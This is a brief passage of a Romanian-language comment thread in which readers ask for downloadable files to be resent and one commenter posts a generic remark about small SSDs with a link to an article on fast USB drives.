    Mă întrebam dacă îmi poți trimite acele fișiere pe care ar trebui să le descarc.
    Multumesc frumos si salutari!

  46.   Alfredo Pereira el a spus

    Tehnologia are obiceiul de a se micșora pe măsură ce trec anii. Și asta s-a întâmplat într-un grad incredibil cu unitățile cu stare solidă (SSD). Acum le puteți obține la aceeași dimensiune ca cele mai rapide unități flash USB.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a el a spus

    Îmi puteți trimite fișierul sau îl puteți încărca din nou? Se pare că nu poate fi descărcat